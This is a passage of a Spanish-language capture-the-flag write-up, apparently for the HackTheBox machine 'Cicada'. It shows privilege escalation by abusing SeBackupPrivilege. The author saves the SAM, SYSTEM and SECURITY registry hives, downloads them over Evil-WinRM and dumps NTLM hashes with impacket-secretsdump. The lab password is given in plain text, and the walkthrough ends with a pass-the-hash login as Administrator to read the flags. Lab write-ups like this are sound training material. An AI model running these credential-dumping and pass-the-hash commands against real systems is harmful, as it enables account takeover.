SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Ahora vamos a aprovechar el permiso SeBackupPrivilege
para extraer los hashes de las contraseñas locales de Windows y buscar el hash del administrador
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system system
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system to system
Info: Download successful!
Extracción de hashes NTLM
Ahora con secretsdump.py de Impacket podremos extraer los hashes NTLM de los usuarios locales del sistema (no del dominio):
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
Otra tool de impacket que podemos usar para extraer los hives del registro es de forma remota con reg.py
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# impacket-reg 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\windows\temp\\SAM.save
[*] Saved HKLM\SYSTEM to C:\windows\temp\\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\windows\temp\\SECURITY.save
Y en la sesión de EvilWinRM los descargamos para luego volcarlos con secretsdump.py como hicimos anteriormente. Sin embargo tendremos el siguiente problema: Evil-WinRM no puede acceder directamente a rutas fuera del directorio actual (o algunas rutas restringidas como C:\Windows\Temp
), y por eso va a fallar si solo tiramos el siguiente comando:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download SYSTEM.save
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SYSTEM.save to SYSTEM.save
Error: Download failed. Check filenames or paths
Para solucionar esto copiaremos los archivos de C:\Windows\Temp
a un directorio accesible, como Documents
y luego los descargamos normalmente.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> copy C:\Windows\Temp\SAM.save C:\Users\emily.oscars.CICADA\Documents\SAM.save
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download SAM.save
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SAM.save to SAM.save
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> copy C:\Windows\Temp\SYSTEM.save C:\Users\emily.oscars.CICADA\Documents\SYSTEM.save
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download SYSTEM.save
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SYSTEM.save to SYSTEM.save
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> copy C:\Windows\Temp\SECURITY.save C:\Users\emily.oscars.CICADA\Documents\SECURITY.save
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download SECURITY.save
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SECURITY.save to SECURITY.save
Info: Download successful!
Por último buscamos las banderas
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# evil-winrm -i cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
af8705**************************
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\emily.oscars.CICADA\Desktop\user.txt
b1d66a**************************
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Si quieres aprender más sobre netexec te recomiendo que visites https://www.netexec.wiki/
Last updated